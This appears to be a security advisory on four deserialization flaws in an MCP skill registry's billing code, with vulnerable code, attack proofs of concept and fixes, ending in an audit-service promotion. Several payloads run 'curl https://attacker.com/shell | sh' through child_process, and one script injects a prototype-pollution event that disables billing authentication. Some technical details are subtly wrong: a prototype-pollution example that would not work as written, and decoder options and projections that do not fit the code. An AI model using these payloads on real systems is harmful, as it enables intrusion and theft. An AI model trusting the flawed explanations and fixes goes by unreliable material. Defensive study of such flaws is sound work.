Claude MCP skill insecure deserialization — skill pricing and subscription billing configuration endpoints (SA-SKL-DESER61)
SA-SKL-DESER61 identifies four critical insecure deserialization vulnerabilities in MCP skill registry skill pricing and subscription billing configuration endpoints. The billing configuration loader reads YAML from Redis using yaml.load() with DEFAULT_FULL_SCHEMA, which evaluates embedded JavaScript functions; an attacker who can write to the billing configuration Redis key can embed a !!js/function gadget in the onPaymentFailed handler field, achieving remote code execution on every billing worker that processes a payment failure event triggered by any subscriber's billing cycle. The subscription plan model is stored in MongoDB as BSON and loaded without suppressing the Code type; a poisoned plan document with a BSON Code value at the pricingCalculatorFn field triggers an eval() call during the price calculation pass that runs at every subscription checkout. The billing event queue is serialized to Redis using MessagePack without prototype-key filtering; a crafted event message containing __proto__.skipBillingAuth:true pollutes Object.prototype in the billing worker process, disabling the authentication check for every subsequent billing API request handled by that worker until it restarts. And the invoice aggregation pipeline reads aggregated invoice records using node-serialize; a poisoned cache entry containing an immediately-invoked function expression gadget achieves remote code execution during invoice aggregation, a code path reachable from any authenticated user who views their skill purchase history page.
yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in billingConfig.onPaymentFailed achieves RCE at every payment failure triggered by any subscriber billing cycleCode type at pricingCalculatorFn field triggers eval() during price calculation at every subscription checkout__proto__.skipBillingAuth:true pollutes Object.prototype, disabling authentication for all subsequent billing API requests in same workernode-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill purchase historyDESER61-001 — yaml.load() DEFAULT_FULL_SCHEMA in billing config loader achieves RCE at payment failure
The billing configuration service loads its runtime configuration from a Redis key at startup and on configuration refresh cycles. The configuration document is stored as a YAML string and deserialized using the js-yaml library's yaml.load() function with the implicit default schema, which is DEFAULT_FULL_SCHEMA. This schema includes the !!js/function YAML type tag, which instructs the YAML parser to evaluate embedded JavaScript function source text using the JavaScript Function constructor and return the result as a live callable function object. The billing configuration document includes an onPaymentFailed field that specifies the handler function to invoke when a subscriber's payment fails; the billing worker calls this function directly when processing payment failure events from the payment provider webhook.
An attacker who can write to the billing configuration Redis key — through a compromised admin session, a misconfigured Redis access control list, or a Redis SSRF that allows unauthenticated writes — can replace the legitimate onPaymentFailed YAML string value with a !!js/function gadget containing arbitrary JavaScript. The poisoned configuration is loaded by every billing worker instance on the next configuration refresh, and the embedded function is executed with full Node.js process privileges the next time any subscriber's billing cycle produces a payment failure event. Because payment failures are a routine occurrence driven by subscriber billing cycles rather than attacker-controlled actions, the RCE trigger fires automatically and repeatedly across all billing worker instances without requiring any further attacker interaction after the initial configuration poisoning.
// DESER61-001 — VULNERABLE
const yaml = require('js-yaml');
async function loadBillingConfig() {
const raw = await redisClient.get('billing:config');
// VULNERABLE: DEFAULT_FULL_SCHEMA evaluates !!js/function tags — RCE via config poisoning
const config = yaml.load(raw);
return config;
}
async function handlePaymentFailed(event) {
const config = await loadBillingConfig();
// VULNERABLE: calling config.onPaymentFailed() executes attacker-controlled function
await config.onPaymentFailed(event);
}
Attack PoC — DESER61-001: Attacker writes poisoned YAML to billing:config Redis key with !!js/function gadget in onPaymentFailed. On the next billing config refresh, all billing workers load the malicious function. RCE fires automatically on every subsequent payment failure event across any subscriber billing cycle — no further attacker interaction required.
// DESER61-001 — ATTACK PAYLOAD (written to billing:config Redis key)
// Attacker injects this YAML string into the Redis billing config key:
/*
onPaymentFailed: !!js/function >
function (event) {
require('child_process').execSync(
'curl https://attacker.com/shell | sh',
{ stdio: 'inherit' }
);
}
retryDelayMs: 3600000
maxRetries: 3
*/
// When billing worker calls config.onPaymentFailed(event) on next payment failure,
// the attacker's shell command executes with full Node.js process privileges.
// DESER61-001 — FIXED
const yaml = require('js-yaml');
const { z } = require('zod');
const HANDLER_REGISTRY = {
retryWithBackoff: require('./handlers/retryWithBackoff'),
suspendSubscription: require('./handlers/suspendSubscription'),
notifyAdmin: require('./handlers/notifyAdmin'),
};
const BillingConfigSchema = z.object({
onPaymentFailed: z.enum(['retryWithBackoff', 'suspendSubscription', 'notifyAdmin']),
retryDelayMs: z.number().int().min(0).max(86_400_000),
maxRetries: z.number().int().min(0).max(10),
});
async function loadBillingConfig() {
const raw = await redisClient.get('billing:config');
// FIXED: FAILSAFE_SCHEMA never evaluates !!js/function or any executable tag
const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
const config = BillingConfigSchema.parse(parsed);
return config;
}
async function handlePaymentFailed(event) {
const config = await loadBillingConfig();
// FIXED: named handler lookup — config.onPaymentFailed is a string enum, not a live function
const handler = HANDLER_REGISTRY[config.onPaymentFailed];
await handler(event);
}
DESER61-002 — BSON Code type triggers eval() during subscription checkout price calculation
The subscription plan service retrieves pricing plan documents from MongoDB using the mongodb Node.js driver without restricting which BSON types are promoted to JavaScript values during deserialization. MongoDB's BSON format supports a Code type that stores JavaScript source text as a first-class BSON value, originally designed for use with MongoDB's server-side JavaScript execution features. When the driver deserializes a document containing a Code value, it promotes the value to a JavaScript object with a code property; however, legacy driver versions and certain ORM layers call eval() on Code fields when they encounter them during document hydration. The subscription plan document schema includes a pricingCalculatorFn field intended to hold a string identifier referencing a named pricing strategy; the billing service retrieves this field and invokes it during the checkout price calculation pass that runs for every subscription purchase and renewal.
An attacker who can write a malicious plan document to MongoDB — through a compromised admin credential, a MongoDB injection vulnerability in the plan creation API, or direct database access — can store a BSON Code value at the pricingCalculatorFn field. When the billing service loads the poisoned plan document and attempts to invoke the pricing calculator during a subscriber checkout, the BSON Code value triggers an eval() call that executes the attacker's payload with the billing service's process privileges. Because the checkout code path runs for every subscription purchase and renewal across all users subscribed to the affected plan, the RCE payload fires repeatedly and automatically at a frequency proportional to the subscriber count on the poisoned plan.
// DESER61-002 — VULNERABLE
const { MongoClient } = require('mongodb');
async function getPricingPlan(planId) {
const db = client.db('registry');
// VULNERABLE: no promoteValues:false — BSON Code type is promoted to evaluable JS object
const plan = await db.collection('subscriptionPlans').findOne({ _id: planId });
return plan;
}
async function calculateCheckoutPrice(planId, userId) {
const plan = await getPricingPlan(planId);
// VULNERABLE: plan.pricingCalculatorFn may be a BSON Code object whose eval() fires here
const price = await plan.pricingCalculatorFn(userId, plan);
return price;
}
Attack PoC — DESER61-002: Attacker writes a subscription plan document to MongoDB with a BSON Code value at pricingCalculatorFn containing arbitrary JavaScript. At every subscription checkout for any user on the poisoned plan, eval() executes the attacker payload with billing service process privileges. Subscriber count determines RCE frequency — high-volume plans trigger RCE continuously.
// DESER61-002 — ATTACK PAYLOAD (BSON Code type stored in subscriptionPlans collection)
// Attacker inserts/updates plan document with malicious pricingCalculatorFn:
/*
db.subscriptionPlans.updateOne(
{ _id: "enterprise" },
{ $set: {
pricingCalculatorFn: Code(
"require('child_process').execSync('curl https://attacker.com/shell|sh')"
)
}}
);
*/
// At next checkout for any enterprise subscriber, eval() fires with billing service privileges.
// DESER61-002 — FIXED
const { MongoClient } = require('mongodb');
const { z } = require('zod');
const PRICING_STRATEGY_REGISTRY = {
flatRate: require('./pricing/flatRate'),
tieredUsage: require('./pricing/tieredUsage'),
perSeat: require('./pricing/perSeat'),
};
const SubscriptionPlanSchema = z.object({
_id: z.string(),
name: z.string(),
pricingCalculatorFn: z.enum(['flatRate', 'tieredUsage', 'perSeat']),
basePrice: z.number().nonnegative(),
});
async function getPricingPlan(planId) {
const db = client.db('registry');
// FIXED: promoteValues:false prevents BSON Code promotion to executable JS object
// FIXED: projection explicitly excludes pricingCalculatorFn raw field before schema validation
const plan = await db.collection('subscriptionPlans').findOne(
{ _id: planId },
{ promoteValues: false, projection: { pricingCalculatorFnRaw: 0 } }
);
return SubscriptionPlanSchema.parse(plan);
}
async function calculateCheckoutPrice(planId, userId) {
const plan = await getPricingPlan(planId);
// FIXED: named strategy lookup — pricingCalculatorFn is a validated string enum, never eval()'d
const pricingStrategy = PRICING_STRATEGY_REGISTRY[plan.pricingCalculatorFn];
const price = await pricingStrategy(userId, plan);
return price;
}
DESER61-003 — MessagePack __proto__ pollution via billing event queue disables billing authentication globally
The billing event queue stores serialized billing events in Redis using MessagePack encoding for compact wire format. The billing worker consumes events from this queue using the @msgpack/msgpack decoder with default options, which does not filter or reject object keys that target JavaScript prototype properties. MessagePack map entries with the string key __proto__ are decoded as regular object property assignments during deserialization; because JavaScript property assignment with the key __proto__ modifies the target object's prototype chain rather than creating an own property, deserializing a map entry {"__proto__": {"skipBillingAuth": true}} calls Object.prototype.__proto__ = {"skipBillingAuth": true} in the billing worker process, mutating Object.prototype so that every plain object subsequently created in that worker inherits skipBillingAuth: true as a prototype property.
The billing API authentication middleware checks if (req.context.skipBillingAuth) to determine whether to skip the billing authorization check for internal service-to-service calls. After prototype pollution, every req.context object — which is a plain object allocated after the polluted deserialization — inherits skipBillingAuth: true from Object.prototype, causing the middleware to skip authentication for every billing API request handled by the polluted worker. An attacker who can write a crafted MessagePack event to the billing event queue — via any input path that feeds the queue, including webhook delivery, billing API endpoints, or a compromised upstream service — can silently disable billing authentication for all requests on the affected worker until it restarts, allowing unauthenticated access to subscription management, payment processing, and invoice generation endpoints.
// DESER61-003 — VULNERABLE
const { decode } = require('@msgpack/msgpack');
async function processBillingEvent(rawBuffer) {
// VULNERABLE: default decoder does not filter __proto__ keys — prototype pollution possible
const event = decode(rawBuffer);
await billingEventHandler.process(event);
}
// In billing auth middleware:
function billingAuthMiddleware(req, res, next) {
// VULNERABLE: after __proto__ pollution, every plain object inherits skipBillingAuth:true
if (req.context.skipBillingAuth) {
return next(); // auth bypass for ALL requests in polluted worker
}
verifyBillingAuth(req, res, next);
}
Attack PoC — DESER61-003: Attacker writes a crafted MessagePack event to the billing queue with __proto__.skipBillingAuth:true. After deserialization, Object.prototype is poisoned in the billing worker. Every subsequent billing API request on that worker bypasses authentication — subscription management, payment processing, and invoice generation are all unauthenticated until the worker restarts.
// DESER61-003 — ATTACK PAYLOAD (crafted MessagePack buffer)
// Attacker encodes a MessagePack map with __proto__ key:
const { encode } = require('@msgpack/msgpack');
const maliciousEvent = encode({
type: 'payment.processed',
__proto__: { skipBillingAuth: true }, // pollutes Object.prototype on decode
amount: 0,
});
await redisClient.rpush('billing:event-queue', maliciousEvent);
// After decode in billing worker: Object.prototype.skipBillingAuth === true
// All subsequent billing middleware checks bypass auth silently.
// DESER61-003 — FIXED
const { Decoder } = require('@msgpack/msgpack');
const { z } = require('zod');
const BLOCKED_PROTO_KEYS = new Set(['__proto__', 'prototype', 'constructor']);
function sanitizeDeserialized(obj) {
if (obj === null || typeof obj !== 'object') return obj;
for (const key of Object.keys(obj)) {
if (BLOCKED_PROTO_KEYS.has(key)) {
throw new Error(`Prototype pollution attempt detected: blocked key "${key}"`);
}
sanitizeDeserialized(obj[key]);
}
return obj;
}
// FIXED: useRecords:false prevents map keys from touching prototype chain
const decoder = new Decoder({ useRecords: false });
const BillingEventSchema = z.object({
type: z.string(),
amount: z.number().nonnegative(),
subscriberId: z.string().optional(),
});
async function processBillingEvent(rawBuffer) {
const raw = decoder.decode(rawBuffer);
sanitizeDeserialized(raw); // throws on __proto__/prototype/constructor keys
const event = BillingEventSchema.parse(raw);
await billingEventHandler.process(event);
}
// In billing auth middleware:
function billingAuthMiddleware(req, res, next) {
// FIXED: use Object.prototype.hasOwnProperty.call to check only own properties
if (Object.prototype.hasOwnProperty.call(req.context, 'skipBillingAuth') && req.context.skipBillingAuth) {
return next();
}
verifyBillingAuth(req, res, next);
}
DESER61-004 — node-serialize IIFE gadget achieves RCE from invoice aggregation reachable by any user
The invoice aggregation service builds summary invoice records for skill purchase histories by reading serialized aggregation results from a Redis cache layer using the node-serialize library. The node-serialize library's unserialize() function supports a special payload format for serializing JavaScript functions using the marker prefix _$$ND_FUNC$$_; when unserialize() encounters this marker in a string field, it reconstructs the function by passing the source text to eval(). If the reconstructed function is immediately followed by an invocation expression () — forming an immediately-invoked function expression pattern — the function executes at deserialization time before the application code receives the deserialized object. This IIFE gadget executes with full Node.js process privileges in the context of the invoice aggregation worker.
Any authenticated user who navigates to the skill purchase history page triggers the invoice aggregation code path. If an attacker can write a crafted payload to the invoice aggregation Redis cache key — through a compromised admin session, a cache poisoning vulnerability in the aggregation pipeline's cache write path, or direct Redis access — the IIFE gadget fires for every user who subsequently views their purchase history, achieving RCE at a rate proportional to the page's daily visit frequency. Because the invoice aggregation cache is shared across users (keyed by skill identifiers rather than per-user identifiers), a single poisoned cache entry can trigger repeated RCE across all users viewing purchase histories that include the poisoned skill's invoice records. The registry's purchase history page is a high-traffic endpoint accessed routinely by all subscribers, making this a continuously triggering RCE with no attacker interaction required after initial cache poisoning.
// DESER61-004 — VULNERABLE
const serialize = require('node-serialize');
async function getInvoiceAggregation(skillId) {
const cached = await redisClient.get(`invoice:agg:${skillId}`);
if (cached) {
// VULNERABLE: node-serialize unserialize() evaluates _$$ND_FUNC$$_ IIFE gadgets at parse time
return serialize.unserialize(cached);
}
const aggregation = await invoiceDb.aggregate(skillId);
await redisClient.set(`invoice:agg:${skillId}`, serialize.serialize(aggregation), 'EX', 3600);
return aggregation;
}
Attack PoC — DESER61-004: Attacker writes a crafted node-serialize IIFE gadget to a invoice:agg:* Redis cache key. Every user who views the skill purchase history page for the affected skill triggers unserialize(), executing the attacker's payload at RCE frequency proportional to daily purchase history page traffic — continuously, without further attacker interaction.
// DESER61-004 — ATTACK PAYLOAD (written to invoice:agg:* Redis cache key)
// Attacker writes this string to Redis key invoice:agg:target-skill-id:
const maliciousPayload = JSON.stringify({
skillId: 'target-skill-id',
totalRevenue: '_$$ND_FUNC$$_function(){ require(\'child_process\').execSync(\'curl https://attacker.com/shell|sh\') }()',
invoiceCount: 0,
});
await redisClient.set('invoice:agg:target-skill-id', maliciousPayload);
// Every user who views purchase history for target-skill-id triggers RCE via unserialize().
// DESER61-004 — FIXED
const { z } = require('zod');
const InvoiceAggregationSchema = z.object({
skillId: z.string(),
totalRevenue: z.number().nonnegative(),
invoiceCount: z.number().int().nonnegative(),
currency: z.string().length(3),
periodStart: z.string().datetime(),
periodEnd: z.string().datetime(),
});
const ND_FUNC_PATTERN = /_\$\$ND_FUNC\$\$_/;
async function getInvoiceAggregation(skillId) {
const cached = await redisClient.get(`invoice:agg:${skillId}`);
if (cached) {
// FIXED: detect and reject _$$ND_FUNC$$_ marker before any deserialization
if (ND_FUNC_PATTERN.test(cached)) {
await redisClient.del(`invoice:agg:${skillId}`); // evict poisoned cache entry
await alertService.fire({ type: 'invoice_cache_poisoning_detected', skillId });
// fall through to fresh aggregation from database
} else {
// FIXED: JSON.parse + Zod schema — no eval(), no function reconstruction
const parsed = JSON.parse(cached);
return InvoiceAggregationSchema.parse(parsed);
}
}
const aggregation = await invoiceDb.aggregate(skillId);
const validated = InvoiceAggregationSchema.parse(aggregation);
// FIXED: serialize as plain JSON — node-serialize never used
await redisClient.set(`invoice:agg:${skillId}`, JSON.stringify(validated), 'EX', 3600);
return validated;
}
SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect insecure deserialization patterns including yaml.load() DEFAULT_FULL_SCHEMA usage, BSON Code type promotion, MessagePack prototype pollution vectors, and node-serialize IIFE gadget exposure across billing and payment code paths in under 60 seconds.